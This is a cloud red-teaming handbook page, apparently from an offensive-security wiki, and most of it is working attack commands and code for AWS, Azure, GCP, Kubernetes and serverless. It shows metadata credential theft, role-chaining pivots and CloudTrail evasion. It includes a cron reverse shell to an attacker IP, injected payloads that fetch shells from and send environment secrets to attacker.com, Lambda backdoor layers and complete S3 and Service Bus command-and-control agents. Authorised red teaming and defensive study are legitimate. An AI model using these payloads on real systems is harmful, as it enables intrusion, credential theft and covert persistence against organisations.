Cloud Red Teaming
Cloud Red Teaming
Cloud environments have fundamentally reshaped the attack surface available to red teams. Traditional network perimeters have dissolved into a web of APIs, identity providers, and ephemeral infrastructure. Successful cloud red teaming requires understanding not just the technology but the operational patterns, trust relationships, and misconfigurations unique to each provider. This page covers offensive techniques across AWS, Azure, and GCP, along with container, Kubernetes, serverless, and multi-cloud attack paths.
Cloud Attack Surface Overview
The Shared Responsibility Model — From an Attacker’s Perspective
Cloud providers love to talk about shared responsibility. As red teamers, we exploit the gaps in that model — the seams where customer responsibility begins and provider abstractions create false confidence.
| Layer | Provider Manages | Customer Manages | Attacker Targets |
|---|---|---|---|
| Physical / Hypervisor | Hardware, host OS, network fabric | Nothing | Side-channel attacks (rare, high sophistication) |
| Managed Services (S3, RDS, Lambda) | Runtime, patching, scaling | Access policies, encryption config, data | Misconfigured IAM, public buckets, unencrypted data |
| IaaS (EC2, VMs, GCE) | Hardware, hypervisor | OS, applications, network rules, identity | Exposed services, weak credentials, metadata abuse |
| Identity & Access | Authentication infrastructure | Policy definitions, role assignments | Over-permissioned roles, credential theft, federation abuse |
The critical insight: identity is the new perimeter. In cloud environments, a stolen access key or session token often provides more leverage than a network foothold ever could.
API-Driven Attacks
Every action in cloud environments is an API call. This means:
- Everything is auditable (if logging is enabled)
- Everything is scriptable (attackers can automate at scale)
- Credentials are the keys to the kingdom (no need for network proximity)
- Rate limits and quotas are the only “firewalls” for many services
Cloud-Specific Kill Chain
The traditional kill chain adapts for cloud environments:
flowchart LR
A["Initial Access\n(Leaked creds, SSRF,\nphishing)"] --> B["Enumeration\n(IAM, services,\nnetwork topology)"]
B --> C["Privilege Escalation\n(Role chaining,\npolicy abuse)"]
C --> D["Lateral Movement\n(Cross-account,\ncross-service)"]
D --> E["Data Access\n(S3, databases,\nsecrets managers)"]
E --> F["Persistence\n(Backdoor roles,\nLambda triggers)"]
F --> G["Impact / Exfil\n(Data theft,\ncryptomine, ransom)"]
style A fill:#e74c3c,color:#fff
style B fill:#e67e22,color:#fff
style C fill:#f39c12,color:#fff
style D fill:#2ecc71,color:#fff
style E fill:#3498db,color:#fff
style F fill:#9b59b6,color:#fff
style G fill:#1abc9c,color:#fff
AWS Red Teaming
AWS remains the most commonly targeted cloud provider due to market share and the sheer breadth of services. The attack surface is enormous.
IAM Enumeration
IAM is the foundation of AWS security — and the first thing to enumerate.
Using enumerate-iam to discover permissions:
# Clone and run enumerate-iam against stolen credentials
git clone https://github.com/andresriancho/enumerate-iam.git
cd enumerate-iam
pip install -r requirements.txt
# Run with stolen access keys
python enumerate-iam.py \
--access-key AKIAIOSFODNN7EXAMPLE \
--secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY \
--region us-east-1
Using Pacu for comprehensive AWS exploitation:
# Install and launch Pacu
pip install pacu
pacu
# Inside Pacu shell
Pacu> import_keys stolen_creds
Pacu> set_keys
Key alias: stolen_creds
Access Key ID: AKIAIOSFODNN7EXAMPLE
Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
# Enumerate IAM permissions
Pacu> run iam__enum_permissions
# Enumerate all users and roles
Pacu> run iam__enum_users_roles_policies_groups
# Check for privilege escalation paths
Pacu> run iam__privesc_scan
Manual AWS CLI enumeration:
# Identify the current caller
aws sts get-caller-identity
# List all users
aws iam list-users
# List all roles (look for cross-account trust)
aws iam list-roles --query 'Roles[*].[RoleName,Arn,AssumeRolePolicyDocument]'
# Enumerate inline policies for a user
aws iam list-user-policies --user-name target-user
aws iam get-user-policy --user-name target-user --policy-name AdminAccess
# Enumerate attached managed policies
aws iam list-attached-user-policies --user-name target-user
# Check for access keys (look for multiple active keys)
aws iam list-access-keys --user-name target-user
S3 Bucket Misconfiguration Exploitation
S3 buckets remain one of the most commonly misconfigured AWS resources.
# Check if a bucket allows public listing
aws s3 ls s3://target-bucket --no-sign-request
# Check bucket ACL
aws s3api get-bucket-acl --bucket target-bucket
# Check bucket policy
aws s3api get-bucket-policy --bucket target-bucket
# Attempt to upload (write test)
echo "red team test" | aws s3 cp - s3://target-bucket/test.txt --no-sign-request
# Download all objects from a misconfigured bucket
aws s3 sync s3://target-bucket ./loot/ --no-sign-request
# Check for versioning (find deleted "secrets")
aws s3api list-object-versions --bucket target-bucket
aws s3api get-object --bucket target-bucket --key secrets.env \
--version-id "previousVersionId" ./recovered-secrets.env
AssumeRole Chain Abuse
Role chaining is one of the most powerful AWS attack techniques. A single misconfigured trust policy can open access to entire organizations.
flowchart TD
A["Compromised User\n(Account A)"] -->|"sts:AssumeRole"| B["Role: DevOps-Role\n(Account A)"]
B -->|"Cross-Account\nsts:AssumeRole"| C["Role: Deploy-Role\n(Account B)"]
C -->|"sts:AssumeRole"| D["Role: Admin-Role\n(Account B)"]
D -->|"Access"| E["Production S3 Buckets\nRDS Databases\nSecrets Manager"]
style A fill:#e74c3c,color:#fff
style B fill:#e67e22,color:#fff
style C fill:#f39c12,color:#fff
style D fill:#c0392b,color:#fff
style E fill:#2c3e50,color:#fff
# Assume a role in the same account
aws sts assume-role \
--role-arn arn:aws:iam::123456789012:role/DevOps-Role \
--role-session-name redteam-session
# Export the temporary credentials
export AWS_ACCESS_KEY_ID="<AccessKeyId>"
export AWS_SECRET_ACCESS_KEY="<SecretAccessKey>"
export AWS_SESSION_TOKEN="<SessionToken>"
# Now pivot cross-account
aws sts assume-role \
--role-arn arn:aws:iam::987654321098:role/Deploy-Role \
--role-session-name cross-account-pivot
# Enumerate what the new role can do
aws sts get-caller-identity
EC2 Metadata Service Abuse
The Instance Metadata Service (IMDS) is a goldmine for attackers who gain code execution on an EC2 instance.
# IMDSv1 — Simple GET request (no authentication)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Role-Name
# IMDSv2 — Requires a PUT to get a token first
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Retrieve user-data (often contains secrets, bootstrap scripts)
curl http://169.254.169.254/latest/user-data
IMDSv1 is trivially exploitable via SSRF. IMDSv2 requires a PUT request with a TTL header, which mitigates most SSRF vectors (since most SSRF vulnerabilities only allow GET requests). However, IMDSv2 can still be exploited if the attacker has code execution or the SSRF allows arbitrary HTTP methods.
Lambda Exploitation
# List all Lambda functions
aws lambda list-functions --region us-east-1
# Get function configuration (environment variables often contain secrets)
aws lambda get-function-configuration --function-name target-function
# Download function code
aws lambda get-function --function-name target-function \
--query 'Code.Location' --output text | xargs curl -o function.zip
# Invoke the function with a crafted payload
aws lambda invoke --function-name target-function \
--payload '{"key": "malicious-input"}' output.json
# Update function code (persistence via backdoor)
aws lambda update-function-code --function-name target-function \
--zip-file fileb://backdoored-function.zip
Cognito Misconfigurations
# Enumerate identity pools
aws cognito-identity list-identity-pools --max-results 20
# Get identity pool details (check for unauthenticated access)
aws cognito-identity describe-identity-pool \
--identity-pool-id us-east-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
# Get credentials for unauthenticated identity
aws cognito-identity get-id \
--identity-pool-id us-east-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
aws cognito-identity get-credentials-for-identity \
--identity-id us-east-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
# Self-sign-up to a user pool (if enabled)
aws cognito-idp sign-up \
--client-id <app-client-id> \
--username attacker@evil.com \
--password 'P@ssw0rd123!'
SSM Abuse for Lateral Movement
# List managed instances
aws ssm describe-instance-information
# Run a command on a target instance (if you have ssm:SendCommand)
aws ssm send-command \
--instance-ids i-0123456789abcdef0 \
--document-name "AWS-RunShellScript" \
--parameters 'commands=["whoami","cat /etc/shadow"]'
# Get command output
aws ssm get-command-invocation \
--command-id "command-id-here" \
--instance-id i-0123456789abcdef0
# Start an interactive session (no SSH key needed)
aws ssm start-session --target i-0123456789abcdef0
CloudTrail Evasion
# Check which trails are active
aws cloudtrail describe-trails
aws cloudtrail get-trail-status --name default-trail
# Find regions without logging
aws cloudtrail describe-trails --query 'trailList[?IsMultiRegionTrail==`false`]'
# Use non-logged API calls (read-only data events are often not logged)
# Many organizations only log management events, not data events
aws s3api head-object --bucket target --key sensitive-file.txt
# Use regions where CloudTrail is not configured
aws sts get-caller-identity --region af-south-1
# Use services that don't support CloudTrail well
# (check AWS documentation for logging gaps)
Note: Disabling CloudTrail itself generates a highly visible event. Smarter evasion focuses on using API calls that are not logged or operating in regions where logging is not enabled. See also Infrastructure for broader evasion techniques.
Azure Red Teaming
Azure’s deep integration with Entra ID (formerly Azure AD) makes identity attacks especially powerful. Compromising a single Entra ID account can cascade across Azure subscriptions, Microsoft 365, and connected SaaS applications.
Entra ID Enumeration
Using ROADtools for Entra ID enumeration:
# Install ROADtools
pip install roadrecon roadlib
# Authenticate (supports multiple methods)
roadrecon auth --access-token <token>
# or
roadrecon auth -u user@target.com -p 'password'
# Gather all Entra ID data
roadrecon gather
# Launch the web UI to explore the data
roadrecon gui
Using AzureHound for attack path mapping:
# Download AzureHound
# https://github.com/BloodHoundAD/AzureHound
# Collect data with a refresh token
./azurehound -r <refresh-token> list \
--tenant target.onmicrosoft.com -o azurehound-output.json
# Import into BloodHound for graph-based analysis
# Upload azurehound-output.json via BloodHound GUI
Manual Entra ID enumeration via Azure CLI and PowerShell:
# Connect to Azure
Connect-AzAccount
# Enumerate all users
Get-AzADUser | Select-Object DisplayName, UserPrincipalName, ObjectId
# Enumerate all groups and memberships
Get-AzADGroup | ForEach-Object {
$group = $_
$members = Get-AzADGroupMember -GroupObjectId $_.Id
[PSCustomObject]@{
GroupName = $group.DisplayName
Members = ($members.DisplayName -join ", ")
}
}
# Enumerate service principals
Get-AzADServicePrincipal | Select-Object DisplayName, ApplicationId, ObjectId
# Enumerate all role assignments
Get-AzRoleAssignment | Select-Object DisplayName, RoleDefinitionName, Scope
# List all subscriptions accessible
Get-AzSubscription
# Enumerate App Registrations with credentials
Get-AzADApplication | ForEach-Object {
$creds = Get-AzADAppCredential -ObjectId $_.Id
if ($creds) {
[PSCustomObject]@{
AppName = $_.DisplayName
AppId = $_.ApplicationId
CredentialCount = $creds.Count
}
}
}
Conditional Access Bypass Techniques
Conditional Access policies are the primary gating mechanism in Entra ID. Common bypasses include:
- Legacy authentication protocols: If not blocked, protocols like IMAP, POP3, and SMTP bypass MFA requirements
- Device compliance gaps: Join a device to Entra ID or use a compliant device type that the policy does not cover
- Location-based bypass: Use VPN endpoints in trusted IP ranges
- Application exclusions: Identify applications excluded from Conditional Access policies
- Token theft: If you steal a valid session token or PRT, the authentication has already passed CA checks
# Check for legacy auth availability using AADInternals
Install-Module AADInternals -Force
Import-Module AADInternals
# Test basic auth against various endpoints
Invoke-AADIntReconAsOutsider -DomainName target.com
Service Principal Abuse
Service principals with high privileges are common in automated pipelines.
# Find service principals with high-privilege roles
Get-AzRoleAssignment | Where-Object {
$_.ObjectType -eq 'ServicePrincipal' -and
$_.RoleDefinitionName -in @('Owner','Contributor','User Access Administrator')
}
# If you have the SP credentials, authenticate as it
$secpasswd = ConvertTo-SecureString "client-secret" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("app-id", $secpasswd)
Connect-AzAccount -ServicePrincipal -Credential $cred -Tenant "tenant-id"
Managed Identity Exploitation
Managed identities are the Azure equivalent of EC2 instance roles. If you compromise a VM or App Service, you can request tokens from the metadata endpoint.
# From a compromised Azure VM — request a token for ARM
curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
| jq .
# Request a token for Microsoft Graph
curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" \
| jq .
# Use the token with Azure CLI
az account get-access-token --resource https://management.azure.com/
az vm list --output table
AADInternals Usage
# Install AADInternals
Install-Module AADInternals -Force
Import-Module AADInternals
# External reconnaissance
Invoke-AADIntReconAsOutsider -DomainName target.com
# Get tenant information
Get-AADIntTenantDetails
# Enumerate users (if Guest access is permitted)
Get-AADIntUsers
# Export all Entra ID data
Invoke-AADIntReconAsInsider
# Token manipulation
$token = Get-AADIntAccessTokenForMSGraph
Parse-AADIntToken -AccessToken $token
PRT (Primary Refresh Token) Theft
The PRT is a powerful token that provides SSO across all Microsoft services.
# On a compromised Entra ID-joined device, use Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap
# Or use ROADtoken to request new tokens using the PRT
# https://github.com/dirkjanm/ROADtools
# The PRT can be used to bypass Conditional Access
# since the device has already satisfied device-compliance checks
Azure Storage Account Access
# Enumerate storage accounts
az storage account list --query '[].{Name:name,ResourceGroup:resourceGroup}'
# List containers with a stolen access key
az storage container list --account-name targetaccount --account-key <key>
# List blobs
az storage blob list --container-name data --account-name targetaccount \
--account-key <key> --output table
# Download sensitive data
az storage blob download --container-name data --name secrets.json \
--account-name targetaccount --account-key <key> --file ./secrets.json
# Check for anonymous access
az storage blob list --container-name data --account-name targetaccount \
--auth-mode anonymous
Azure Arc Pivoting
Azure Arc extends Azure management to on-premises and multi-cloud resources, creating a bridge attackers can exploit.
# Enumerate Arc-connected machines
az connectedmachine list --query '[].{Name:name,Status:status,OS:osName}'
# Run commands on Arc-connected machines
az connectedmachine run-command create \
--machine-name target-server \
--resource-group prod-rg \
--name "RedTeamCmd" \
--script "whoami && hostname && ipconfig /all"
For deeper Active Directory and Entra ID attack chains, see Active Directory Attacks.
GCP Red Teaming
GCP uses a project-centric model with IAM bindings at multiple levels (organization, folder, project, resource). Service accounts are the primary non-human identity, and their keys are a frequent target.
Service Account Key Theft
# List service accounts in a project
gcloud iam service-accounts list --project target-project
# Check for exported keys (these are permanent credentials)
gcloud iam service-accounts keys list \
--iam-account sa@target-project.iam.gserviceaccount.com
# If you find a key file (JSON), authenticate with it
gcloud auth activate-service-account \
--key-file stolen-key.json
# Search common locations for leaked keys
# CI/CD configs, environment variables, Git history, container images
IAM Privilege Escalation
GCP has specific IAM permissions that enable escalation.
# Check current permissions
gcloud projects get-iam-policy target-project
# The iam.serviceAccountTokenCreator role allows impersonation
# If your SA has this on another SA, you can generate tokens for it
gcloud iam service-accounts get-iam-policy \
sa@target-project.iam.gserviceaccount.com
# Generate an access token for another service account (impersonation)
gcloud auth print-access-token \
--impersonate-service-account=admin-sa@target-project.iam.gserviceaccount.com
# If you have setIamPolicy on a project, grant yourself Owner
gcloud projects add-iam-policy-binding target-project \
--member='serviceAccount:compromised-sa@target-project.iam.gserviceaccount.com' \
--role='roles/owner'
GCP Metadata Server Abuse
# From a compromised GCE instance — get the default service account token
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Get the service account email
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"
# Get project-level metadata (may contain startup scripts with secrets)
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/attributes/"
# Get instance attributes
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/attributes/"
# Get instance SSH keys (for lateral movement)
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys"
ScoutSuite for Multi-Cloud Enumeration
# Install ScoutSuite
pip install scoutsuite
# Run against GCP
scout gcp --service-account stolen-key.json
# Run against AWS
scout aws --access-key-id AKIA... --secret-access-key ...
# Run against Azure
scout azure --cli
# ScoutSuite generates an HTML report highlighting misconfigurations
# across identity, storage, compute, networking, and logging
Compute Engine and Cloud Functions
# List all GCE instances
gcloud compute instances list
# SSH into an instance (if your SA has compute.instances.setMetadata)
# This works by injecting your SSH key into instance metadata
gcloud compute ssh target-instance --zone us-central1-a
# List Cloud Functions
gcloud functions list
# Get function source code
gcloud functions describe target-function --format json | jq '.sourceArchiveUrl'
# Invoke a function
gcloud functions call target-function --data '{"key":"malicious-value"}'
Container and Kubernetes Attacks
Containers and Kubernetes introduce a dense attack surface. A single misconfiguration can grant full cluster control.
Container Escape Techniques
Privileged container escape:
# Check if running in a privileged container
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged
# Mount the host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# Access host SSH keys, shadow file, etc.
cat /mnt/host/etc/shadow
cat /mnt/host/root/.ssh/id_rsa
# Or write a cron job for reverse shell
echo '* * * * * root bash -i >& /dev/tcp/attacker-ip/4444 0>&1' \
>> /mnt/host/etc/crontab
Docker socket escape:
# Check if Docker socket is mounted
ls -la /var/run/docker.sock
# If so, run a new privileged container that mounts the host
docker -H unix:///var/run/docker.sock run -it --privileged \
--pid=host --net=host -v /:/mnt/host ubuntu chroot /mnt/host bash
Kernel exploit escalation:
# Check kernel version from inside the container
uname -r
# Containers share the host kernel, so kernel exploits
# (e.g., DirtyPipe CVE-2022-0847, DirtyCow CVE-2016-5195)
# can escape the container boundary
Kubernetes RBAC Abuse
# Check your current permissions
kubectl auth can-i --list
# Check if you can create pods (cluster-admin equivalent if unrestricted)
kubectl auth can-i create pods
kubectl auth can-i create pods --all-namespaces
# Enumerate cluster roles
kubectl get clusterroles
kubectl get clusterrolebindings -o wide
# Look for overly permissive bindings
kubectl get clusterrolebindings -o json | \
jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects'
# Check for secrets access
kubectl auth can-i get secrets --all-namespaces
kubectl get secrets --all-namespaces
Service Account Token Theft
# Every pod mounts a service account token by default
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# Use the token to authenticate to the API server
KUBE_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -H "Authorization: Bearer $KUBE_TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/default/pods
# Check what the SA can do
curl -sk -H "Authorization: Bearer $KUBE_TOKEN" \
https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-X POST -H "Content-Type: application/json" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'
etcd Access
# If you can reach the etcd endpoint (often on port 2379)
# etcd stores ALL Kubernetes state including secrets in plaintext
# List all keys
etcdctl --endpoints=https://etcd-host:2379 \
--cacert=/path/to/ca.crt \
--cert=/path/to/cert.crt \
--key=/path/to/key.key \
get / --prefix --keys-only
# Dump all secrets
etcdctl --endpoints=https://etcd-host:2379 \
--cacert=/path/to/ca.crt \
--cert=/path/to/cert.crt \
--key=/path/to/key.key \
get /registry/secrets --prefix
Pod-to-Pod Lateral Movement
# Enumerate the cluster network from inside a pod
# Kubernetes pods can typically reach all other pods (no network policy)
# Scan the pod CIDR
nmap -sT -p 80,443,8080,8443,3306,5432,6379,27017 10.244.0.0/16
# Enumerate services via DNS
nslookup kubernetes.default.svc.cluster.local
# Kubernetes DNS follows the pattern:
# <service>.<namespace>.svc.cluster.local
# Access services directly
curl http://internal-api.production.svc.cluster.local:8080/admin
# Exploit hostPath mounts — if a pod mounts a host directory
# Check for sensitive host paths mounted into pods
kubectl get pods -o json | jq '.items[].spec.volumes[]? | select(.hostPath)'
Serverless Exploitation
Serverless functions execute in ephemeral containers, but they are far from immune to attack. The attack surface shifts to event triggers, dependencies, and runtime configuration.
Lambda / Azure Functions / Cloud Functions Attack Vectors
Event injection:
# Lambda functions triggered by S3 events — upload a malicious file
# If the function processes filenames unsafely:
aws s3 cp malicious.txt "s3://trigger-bucket/; curl attacker.com/shell | bash"
# Functions triggered by SQS — inject a malicious message
aws sqs send-message --queue-url https://sqs.us-east-1.amazonaws.com/123456789012/target-queue \
--message-body '{"action":"__import__(\"os\").system(\"curl attacker.com/exfil?data=$(env | base64)\")"}'
# API Gateway triggers — test for injection in HTTP parameters
curl -X POST https://api-id.execute-api.us-east-1.amazonaws.com/prod/endpoint \
-d '{"input": "{{constructor.constructor(\"return this.process.env\")()}}"}'
Dependency poisoning:
# Serverless functions pull dependencies at deploy time
# If a requirements.txt or package.json includes unpinned versions,
# a typosquatting or dependency confusion attack can inject malicious code
# Check for dependency files in function source
aws lambda get-function --function-name target \
--query 'Code.Location' --output text | xargs curl -o function.zip
unzip function.zip -d function_code
cat function_code/requirements.txt
cat function_code/package.json
Runtime manipulation and data exfiltration:
# If you have lambda:UpdateFunctionConfiguration, inject environment variables
aws lambda update-function-configuration \
--function-name target-function \
--environment "Variables={EXFIL_URL=https://attacker.com/collect}"
# Modify layers to inject malicious dependencies
aws lambda publish-layer-version \
--layer-name backdoor-layer \
--zip-file fileb://malicious-layer.zip \
--compatible-runtimes python3.9
aws lambda update-function-configuration \
--function-name target-function \
--layers arn:aws:lambda:us-east-1:123456789012:layer:backdoor-layer:1
Cloud-Native C2
Traditional C2 frameworks often trigger network-based detections. Cloud-native C2 channels blend into legitimate traffic by using the same APIs and endpoints that the organization already trusts.
Using Cloud Services as C2 Channels
S3-based C2:
# Agent checks S3 for commands, writes output back
import boto3, subprocess, json, time
s3 = boto3.client('s3')
BUCKET = 'legitimate-looking-bucket'
AGENT_ID = 'agent-001'
while True:
# Check for commands
try:
obj = s3.get_object(Bucket=BUCKET, Key=f'tasks/{AGENT_ID}')
cmd = json.loads(obj['Body'].read())['command']
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
# Write results
s3.put_object(
Bucket=BUCKET,
Key=f'results/{AGENT_ID}/{int(time.time())}',
Body=json.dumps({'output': output.decode()})
)
s3.delete_object(Bucket=BUCKET, Key=f'tasks/{AGENT_ID}')
except s3.exceptions.NoSuchKey:
pass
time.sleep(60)
Azure Blob Storage or Azure Service Bus C2:
# Using Azure Service Bus as a bidirectional C2 channel
from azure.servicebus import ServiceBusClient
import subprocess, json
conn_str = "Endpoint=sb://target-namespace.servicebus.windows.net/;SharedAccessKey=..."
client = ServiceBusClient.from_connection_string(conn_str)
with client:
receiver = client.get_queue_receiver(queue_name="commands")
sender = client.get_queue_sender(queue_name="results")
for msg in receiver:
cmd = json.loads(str(msg))['command']
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
sender.send_messages(ServiceBusMessage(
json.dumps({'output': output.decode()})
))
receiver.complete_message(msg)
SQS-based C2 (blends with normal AWS queue traffic):
# Operator sends commands via SQS
aws sqs send-message --queue-url https://sqs.../c2-queue \
--message-body '{"command": "whoami"}'
# Agent polls, executes, and responds to a separate result queue
aws sqs receive-message --queue-url https://sqs.../c2-queue
# ... execute command ...
aws sqs send-message --queue-url https://sqs.../results-queue \
--message-body '{"output": "root"}'
Advantages of Cloud-Native C2
- Traffic goes to legitimate cloud provider endpoints (*.amazonaws.com, *.blob.core.windows.net)
- TLS encrypted by default
- Often allowed through corporate firewalls and proxy rules
- Blends with the organization’s own cloud API traffic
- No need to maintain dedicated infrastructure
Multi-Cloud Attack Paths
Federated Identity Abuse
Modern organizations federate identity across cloud providers. This creates cross-cloud pivoting opportunities.
# AWS IAM Identity Center (SSO) federated with Entra ID
# Compromising an Entra ID account can provide AWS access
# via SAML-based federation
# Check for SAML providers in AWS
aws iam list-saml-providers
# Get SAML metadata (shows the federated IdP)
aws iam get-saml-provider \
--saml-provider-arn arn:aws:iam::123456789012:saml-provider/EntraID
# If you compromise an Entra ID user, request a SAML assertion
# and use it to assume an AWS role
# Tool: https://github.com/secureworks/whiskeysamlandfriends
Cross-Cloud Pivoting Scenarios
| Scenario | Source | Pivot Method | Target |
|---|---|---|---|
| Entra ID to AWS | Azure AD account | SAML Federation | AWS IAM role |
| AWS to GCP | EC2 instance role | Workload Identity Federation | GCP service account |
| GCP to Azure | GCP service account | Application credentials stored in GCP | Azure subscription |
| On-prem to Cloud | Domain controller | Azure AD Connect sync | Entra ID / Azure |
| Cloud to On-prem | Azure Arc / AWS SSM | Remote command execution | On-prem servers |
Hybrid Cloud: On-Prem to Cloud and Back
# Azure AD Connect — if you compromise the sync server, you get:
# 1. The AD DS Connector account (can DCSync on-prem AD)
# 2. The Azure AD Connector account (can modify cloud users)
# Extract Azure AD Connect credentials
# Using AADInternals on the sync server
Get-AADIntSyncCredentials
# Use the cloud connector credentials to modify cloud objects
# Use the AD connector credentials to DCSync on-prem
# AWS Systems Manager — on-prem to cloud bridge
# If SSM agents are installed on on-prem servers registered with AWS
# Compromising the AWS account gives command execution on-prem
aws ssm describe-instance-information \
--filters "Key=PingStatus,Values=Online"
On-prem to cloud pivoting is deeply intertwined with Active Directory. See Active Directory Attacks for domain escalation techniques that lead to cloud compromise.
Cloud Detection Evasion
CloudTrail Tampering and Logging Gaps
# Identify CloudTrail configuration
aws cloudtrail describe-trails
aws cloudtrail get-event-selectors --trail-name main-trail
# Common logging gaps:
# - Data events (S3 object-level, Lambda invocations) often not logged
# - Some regions may not have trails configured
# - Management events may exclude read-only events
# Use API calls that fall outside logging scope
# S3 HEAD requests (data events) vs. bucket-level operations (management)
aws s3api head-object --bucket target --key secret.txt
Blending with Legitimate Admin Activity
- Use the same user agents and SDKs as the organization (aws-cli, az, gcloud)
- Operate during business hours in the organization’s timezone
- Avoid mass enumeration patterns; space out API calls
- Use the same source IP ranges if possible (VPN into the corporate network first)
- Prefer read-only operations that generate less alarm than write operations
API Rate Limiting Awareness
Cloud providers enforce rate limits. Hitting them can:
- Trigger alerts based on throttling events
- Cause denial of service to legitimate operations (blowing your cover)
- Result in temporary lockouts
# AWS rate limiting example — add jitter to enumeration
for region in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do
aws ec2 describe-instances --region "$region" 2>/dev/null
sleep $((RANDOM % 5 + 2)) # Random 2-7 second delay
done
IP Allowlist Abuse
# If the target uses IP-based access controls:
# 1. Compromise a resource inside the trusted network
# 2. Use cloud shell (comes from a provider-owned IP range)
# 3. Use the organization's VPN or jump box
# 4. Leverage CI/CD runners that are in the allowlist
# Azure Cloud Shell runs from Microsoft-owned IPs
# AWS CloudShell runs from AWS-owned IPs
# These may be in organizational allowlists
Cloud Red Team Tools Reference
| Tool | Cloud Provider | Purpose | License |
|---|---|---|---|
| Pacu | AWS | Comprehensive AWS exploitation framework | BSD-3-Clause |
| enumerate-iam | AWS | Brute-force IAM permission enumeration | GPL-3.0 |
| CloudMapper | AWS | Network and IAM visualization | BSD-2-Clause |
| Prowler | AWS / Azure / GCP | Cloud security posture assessment | Apache 2.0 |
| ScoutSuite | AWS / Azure / GCP | Multi-cloud security auditing | GPL-2.0 |
| ROADtools | Azure | Entra ID enumeration and exploration | MIT |
| AzureHound | Azure | Entra ID attack path mapping (BloodHound) | GPL-3.0 |
| AADInternals | Azure | Entra ID administration and exploitation | MIT |
| MicroBurst | Azure | Azure security assessment toolkit | BSD-3-Clause |
| Stormspotter | Azure | Azure attack graph visualization | MIT |
| GCPBucketBrute | GCP | GCP storage bucket enumeration | MIT |
| Hayat | GCP | GCP privilege escalation scanner | Apache 2.0 |
| Peirates | Kubernetes | Kubernetes penetration testing tool | GPL-3.0 |
| kube-hunter | Kubernetes | Kubernetes cluster vulnerability scanner | Apache 2.0 |
| CDK | Containers | Container penetration toolkit | GPL-2.0 |
| Cloudfox | AWS / Azure / GCP | Cloud penetration testing automation | MIT |
| Stratus Red Team | AWS / Azure / GCP | Adversary emulation for cloud | Apache 2.0 |
For a complete tools reference with installation guides and usage patterns, see Tools Reference.
Cloud Provider Comparison: Key Attack Surfaces
| Attack Surface | AWS | Azure | GCP |
|---|---|---|---|
| Primary Identity | IAM Users / Roles | Entra ID Users / Service Principals | Google Accounts / Service Accounts |
| Instance Metadata | 169.254.169.254 (IMDSv1/v2) | 169.254.169.254 (Metadata header) | metadata.google.internal (Flavor header) |
| Temp Credentials | STS AssumeRole | Managed Identity tokens | Service Account tokens |
| Object Storage | S3 | Blob Storage | Cloud Storage |
| Secrets Management | Secrets Manager / SSM Parameter Store | Key Vault | Secret Manager |
| Serverless | Lambda | Azure Functions | Cloud Functions |
| Container Orchestration | EKS | AKS | GKE |
| Remote Execution | SSM Run Command | Run Command Extension / Arc | OS Config / SSH-in-browser |
| Logging | CloudTrail + CloudWatch | Activity Log + Monitor | Cloud Audit Logs |
| Federation | IAM Identity Center (SAML/OIDC) | Entra ID Federation | Workload Identity Federation |
| Privilege Escalation | IAM policy misconfig, role chaining | Role assignment, Entra ID roles | setIamPolicy, tokenCreator |
Key Takeaways
-
Identity is everything. In cloud environments, compromising a single credential can cascade across accounts, subscriptions, and even cloud providers. Enumerate IAM thoroughly before attempting any exploitation.
-
Metadata services are your best friend. Any code execution on a cloud instance (VM, container, serverless function) should immediately attempt to reach the metadata endpoint. The credentials obtained there often have far more privilege than expected.
-
Think in trust relationships, not network topology. Cloud attack paths follow IAM trust policies, role assumptions, federation configurations, and service account impersonation chains — not VLANs and subnets.
-
Cloud logging is powerful but not omniscient. Every cloud provider has logging gaps. Understanding what is and is not logged is the difference between a clean engagement and a burned operation.
-
Multi-cloud multiplies attack surface. Organizations that span AWS, Azure, and GCP often have federated identity, shared secrets, and cross-cloud trust relationships that create unexpected pivot paths.
-
Containers are not security boundaries. A privileged container, a mounted Docker socket, or a kernel exploit can break out of the container and onto the host. Treat container escapes as a primary objective, not a side quest.
Cloud red teaming demands continuous learning as providers evolve their services and security controls monthly. The techniques described here represent current best practices, but always verify against the latest provider documentation and service updates before an engagement.